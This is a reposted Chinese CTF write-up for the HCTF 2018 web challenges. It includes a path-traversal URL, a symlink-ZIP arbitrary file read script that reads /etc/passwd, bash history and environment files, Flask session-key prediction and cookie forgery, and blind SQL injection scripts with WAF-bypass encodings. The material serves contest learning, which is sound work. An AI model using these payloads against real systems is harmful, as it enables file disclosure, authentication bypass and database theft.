内容简介:以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。文件读取
HCTF 2018
以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。
Warmup
文件读取
http://warmup.2018.hctf.io/index.php?file=source.php%3f../../../../../../../ffffllllaaaagggg
Hide and seek
第一天看了半天,总感觉这个题缺少条件。然后,出题人修修补补,改了又改,心累。最后考察的知识点也没啥营养性,感觉比较无趣。
很奇怪,为啥现在大家出题都不会自己测一下环境有没有问题,直接就上线了…
docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/Hideandseek
第一个知识点,ZIP 软连接解压,可以任意文件读取。
HTTP包如下
POST /upload HTTP/1.1 Host: hideandseek.2018.hctf.io User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------14689847831755241969368914144 Content-Length: 515 Referer: http://hideandseek.2018.hctf.io/ Cookie: session=eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------14689847831755241969368914144 Content-Disposition: form-data; name="the_file"; filename="hellow.zip" Content-Type: application/zip PK kjM ¹)linkUT kæ[kæ[ux÷/etc/passwdPK kjM ¹)í¡linkUTkæ[ux÷PKJI -----------------------------14689847831755241969368914144 Content-Disposition: form-data; name="submit" Submit -----------------------------14689847831755241969368914144--
写了一个EXP批量文件读取:
import requests import random import os import string import time import zipfile import sys def generate_zip(path,i): zip_name = 'moxiaoxi'+str(i)+'.zip' link_namme = 'moxiaoxi'+str(i) os.system("ln -s {} {}".format(path,link_namme)) print "ln -s {} {}".format(path,link_namme) os.system("zip -y {} {}".format(zip_name,link_namme)) with open(zip_name,'r') as f: data = f.read() return zip_name,data def exp(path,i): zip_name,data = generate_zip(path,i) # zip_name,data = rewrite(path,i) session = requests.Session() paramsPost = {"submit":"Submit"} paramsMultipart = [('the_file', (zip_name, data, 'application/zip'))] headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36","Referer":"http://hideandseek.2018.hctf.io/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","DNT":"1"} cookies = {"session":"eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI"} response = session.post("http://hideandseek.2018.hctf.io/upload", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies) print("Status code: %i" % response.status_code) print("Response body: %s" % response.content) if len(response.content)>5: # print("Response body: %s" % response.content) with open('out.txt','a+') as f: f.write('\n\n{}\n\n{}'.format(path,response.content)) if __name__=='__main__': name = 'test'+''.join(random.sample(string.ascii_letters + string.digits, 4)) exp(sys.argv[1],name)
一开始,出题人环境没配好,可以读取/root/.bash_history,还蛮有趣,监控出题人操作。
$ python hideandseek.py /root/.bash_history ln -s /root/.bash_history moxiaoxitestkYcG adding: moxiaoxitestkYcG (stored 0%) Status code: 200 Response body: ls curl http://127.0.0.1:80 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log ps ps -A kill 86 ps -A cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log ls cd uploads/ ls rm 1.zip ls cd dead_z3r0_a230418bbeaf0c06f83a51f6ff9d9b8caf23dc6a3aa4b9fa3f6ab9b85cff2212.zip_/ ls ls -l file dead_z3r0 cd .. cd .. ls cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +4000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +12000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +40000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +30000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +35000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +38000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +37000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36500 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +5000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +80000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +300000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100| grep linking cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 10000| grep linking cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 10000| grep linking cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking ps -A exit cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking cat /etc/passwd cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uwsgi' cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uw' cat /app/hard_t0_guess_dkp2s6d9sa/hard_t0_guess_also_9u5c_main.py exit
正解应该先读取/proc/self/environ,得到路径。然后读取main函数。
很期待uwsgi+nginx+flask环境的组合问题,可惜…
python hideandseek.py /proc/self/environ ln -s /proc/self/environ moxiaoxitestzGFp adding: moxiaoxitestzGFp (stored 0%) Status code: 200 Response body: UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=e04ab7732827SHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
python hideandseek.py /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini moxiaoxitestE5jc adding: moxiaoxitestE5jc (stored 0%) Status code: 200 Response body: [uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
得到源码:
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index(): error = request.args.get('error', '') if(error == '1'): session.pop('username', None) return render_template('index.html', forbidden=1) if 'username' in session: return render_template('index.html', user=session['username'], flag=flag.flag) else: return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] if request.method == 'POST' and username != '' and password != '': if(username == 'admin'): return redirect(url_for('index',error=1)) session['username'] = username return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file(): if 'the_file' not in request.files: return redirect(url_for('index')) file = request.files['the_file'] if file.filename == '': return redirect(url_for('index')) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a zipfile' try: extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d '+ extract_path) read_obj = os.popen('cat ' + extract_path + '/*') file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if(file != None): if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1)) return Response(file) if __name__ == '__main__': #app.run(debug=True) app.run(host='127.0.0.1', debug=True, port=10008)
关注random.seed(uuid.getnode()) ,uuid.getnode()是取mac地址转换的,所以为固定值。 我们只需要读取远程mac地址,然后本地搭建一个环境,伪造一波就好。这里伪造的时候,需要注意 python 版本为python3.
# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/ZIP [13:13:39] $ python hideandseek.py /sys/class/net/eth0/address ln -s /sys/class/net/eth0/address moxiaoxitestTL7W adding: moxiaoxitestTL7W (stored 0%) Status code: 200 Response body: 12:34:3e:14:7c:62
https://www.vultr.com/tools/mac-converter/?mac_address=02%3A42%3Aa2%3A2a%3A1e%3A42
seed为20015589129314,
GET / HTTP/1.1 Host: hideandseek.2018.hctf.io Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-e7Sw.IvMRaI59t9NWnTGtNbJn0oBkMmY Connection: close
Admin
docker 环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/admin
这题的思路和Hide and seek一样。
首先,源码泄漏https://github.com/woadsl1234/hctf_flask/
替换登陆name为admin。然后,登陆一下,得到加密的cookie
@app.route('/login', methods = ['GET', 'POST']) def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data) session['name'] = 'admin'#name print session user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) return redirect(url_for('index')) return render_template('login.html', title = 'login', form = form)
与远程交互,替换一下cookie就可以得到flag
GET /index HTTP/1.1 Host: admin.2018.hctf.io User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://admin.2018.hctf.io/login Cookie: session=.eJxFkMuKwkAQRX9l6LWLpEc3ARdKYnCgqjF0DF0byWg06YcDUUls8d-nkcFZFFw4cLi3Hmx37JtLy5Jrf2smbNcdWPJgH98sYSI1d8q3Fh3MSGef5LJRpKtO5JuI5FaLSk2FhClKNUO_GdGpKNwdZDmgzDi4TQQui0WejSpkJU8D6qIl2Vr0EEP-pUEHZ04tSDIiL6ySJadq1YIvPTiIUC-t4qUPjkHIxUgOOLp1DPJgSS8GUWHwlXP2nLD9pT_urj-mOb8nKL3nlFqLPMzQJlZBh-nSUKU86pMntw71TYxpGWpsLTk0YjF_6TpXn5q3CXgh4Y-ca_cPVFVc62r6ArdL078-yOKIPX8BlRpvtQ.W-bNtA.azJFSmLfN1OcVVz3Lg5pLV5WlMw; remember_token=10|80e01e90de15e2f414ab634ab723fcdc0e394e97522b75ee66831a0b34c86add2e29334b0fd4b3336e1bb32c9c6a693f5b627882eba17fb4ea7124e397159373 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
得到flag
kzone
docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/kzone
同理,源码泄漏
http://kzone.2018.hctf.io/www.zip
审计,需要修改userAgent为QQ,比较好看题
(function () { var sUserAgent = navigator.userAgent.toLowerCase(); if (sUserAgent.match(/QQ/i) != 'qq') { window.location.href = 'https://qzone.qq.com'; } })();
在member.php存在注入。主要区别在于setcookie.如果查询语句正常,只会出现两个setcookie。否则为四个。
if (isset($_COOKIE["islogin"])) { if ($_COOKIE["login_data"]) { $login_data = json_decode($_COOKIE['login_data'], true); $admin_user = $login_data['admin_user']; $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); if ($udata['username'] == '') { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } $admin_pass = sha1($udata['password'] . LOGIN_KEY); if ($admin_pass == $login_data['admin_pass']) { $islogin = 1; } else { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } } }
注入点,查询出错,会出现4个setcookie,否则为两个setcookie
写脚本注入admin
import requests import string def test_once(index,s): session = requests.Session() paramsPost = {"login":"Login","pass":"1","user":"admin"} cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"} headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"} response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies) flag = response.headers['Set-Cookie'].count('islogin') if flag == 1: print(index,s,'yes') return True elif flag == 2: print(index,s,'no') else: print('[-] may be error,{}'.format(s)) return False def hack(): ss = string.printable num = 41 flag = '' end = 0 i = 1 for i in range(1,num): for s in ss: if test_once(i,s+flag): flag = s+flag break print flag print flag if __name__=='__main__': hack() # test_once(1,'6')
发现被改的没办法反解。
尝试伪造登陆了一波,发现登陆后也没什么东西。
POST /admin/list.php HTTP/1.1 Host: kzone.2018.hctf.io User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://kzone.2018.hctf.io/admin/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 39 Cookie: islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"} Connection: close Upgrade-Insecure-Requests: 1 user=admin&pass=moxiaoxi111&login=Login
后面在数据库里翻到了flag。
import requests import string def get_payload(): # s = "admin' and ((select count(*) from information_schema.tables where table_schema='hctf_kouzone')=5);" # s = """select 1 from information_schema.tables where table_schema='hctf_kouzone' and table_name='fish_admin'""" # s = """select (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='hctf_kouzone' limit 0,1)=10""" # s = """select (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema='hctf_kouzone' and table_name='F1444g' limit 0,1)=10""" s = """select (select ascii(substr(F1a9,1,1)) from F1444g limit 0,1)=10""" s = "admin' and ({});".format(s) print "select * from fish_admin where username='{}".format(s) s = s.replace(';','\u0023') s = s.replace(' ','/**/') print s s = s.replace('or','\u006fr') s = s.replace('=','\u003d') s = s.replace("sub","\u0073\u0075\u0062") s = s.replace('ascii','\u0061\u0073\u0063\u0069\u0069') print s return s def test_once(index,s): session = requests.Session() paramsPost = {"login":"Login","pass":"1","user":"admin"} # cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"} # payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(table_name,{},1))/**/from/**/inf\u006frmation_schema.tables/**/where/**/table_schema\u003d'hctf_kouzone'/**/limit/**/0,1)\u003d{})\u0023".format(index,s) # F1444g # payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(column_name,{},1))/**/from/**/inf\u006frmation_schema.columns/**/where/**/table_schema\u003d'hctf_kouzone'/**/and/**/table_name\u003d'F1444g'/**/limit/**/0,1)\u003d{})\u0023".format(index,s) # F1a9 payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(F1a9,{},1))/**/from/**/F1444g/**/limit/**/0,1)\u003d{})\u0023".format(index,s) cookies = {"login_data":"{\"admin_user\":\""+payload+"\",\"admin_pass\":\"2\"}","islogin":"1"} # cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"} headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"} response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies) flag = response.headers['Set-Cookie'].count('islogin') if flag == 1: print(index,s,'yes') return True elif flag == 2: print(index,s,'no') else: print('[-] may be error,{}'.format(s)) return False def hack(): ss = string.printable num = 41 flag = '' end = 0 i = 1 for i in range(1,num): for s in ss: if test_once(i,ord(s)): flag += s break print flag print flag if __name__=='__main__': # hack() # test_once(1,'6') # get_payload() hack()
这题有趣的点在于 $login_data = json_decode($_COOKIE['login_data'], true);
直接bypass waf。
Share
扫描得到robots.txt 源码
http://share.2018.hctf.io/robots.txt
/* this terrible code */ class FileController < ApplicationController before_action :authenticate_user! before_action :authenticate_role before_action :authenticate_admin protect_from_forgery :except => [:upload , :share_people_test] # post /file/upload def upload if(params[:file][:myfile] != nil && params[:file][:myfile] != "") file = params[:file][:myfile] name = Base64.decode64(file.original_filename) ext = name.split('.')[-1] if ext == name || ext ==nil ext="" end share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload") share.write(Base64.decode64(file.read)) share.close File.rename(share.path,share.path+"."+ext) tmp = Sharefile.new tmp.public = 0 tmp.path = share.path tmp.name = name tmp.tempname= share.path.split('/')[-1]+"."+ext tmp.context = params[:file][:context] tmp.save end redirect_to root_path end # post /file/Alpha_test def Alpha_test if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil) fid = params[:fid].to_i uid = params[:uid].to_i if(fid > 0 && uid > 0) if(Sharelist.find_by(sharefile_id: fid)==nil) if(Sharelist.count("user_id = ?", uid.to_s) <5) share = Sharelist.new share.sharefile_id = fid share.user_id = uid share.save end end end end redirect_to(root_path) end def share_file_to_all file = Sharefile.find(params[:fid]) File.rename(file.path,Rails.root+"/public/download/"+file.name) file.public = true file.path = Rails.root+"/public/download/"+file.name file.save end end
views |-- devise | |-- confirmations | |-- mailer | |-- passwords | |-- registrations | | `-- new.html.erb | |-- sessions | | `-- new.html.erb | |-- shared | `-- unlocks |-- file |-- home | |-- Alphatest.erb | |-- addtest.erb | |-- home.erb | |-- index.html.erb | |-- publiclist.erb | |-- share.erb | `-- upload.erb |-- layouts | |-- application.html.erb | |-- mailer.html.erb | `-- mailer.text.erb `-- recommend `-- show.erb
# post /file/Alpha_test def Alpha_test if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil) fid = params[:fid].to_i uid = params[:uid].to_i if(fid > 0 && uid > 0) if(Sharelist.find_by(sharefile_id: fid)==nil) if(Sharelist.count("user_id ="+ uid.to_s) <5) share = Sharelist.new share.sharefile_id = fid share.user_id = uid share.save end end end end redirect_to(root_path) end
后续看WP,有趣则补。
Game
逻辑问题
http://game.2018.hctf.io/web2/user.php?order=password
可以看到password的排序。可以疯狂注册用户,通过密码逐位与admin密码比较,从而得到admin密码。
bestrong
后续看WP,有趣则补。
bottle
后续看WP,有趣则补。
以上所述就是小编给大家介绍的《HCTF 2018 Web Write-up》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Web Analytics 2.0
Avinash Kaushik / Sybex / 2009-10-26 / USD 39.99
The bestselling book Web Analytics: An Hour A Day was the first book in the analytics space to move beyond clickstream analysis. Web Analytics 2.0 will significantly evolve the approaches from the fir......一起来看看 《Web Analytics 2.0》 这本书的介绍吧!
RGB转16进制工具
RGB HEX 互转工具
XML 在线格式化
在线 XML 格式化压缩工具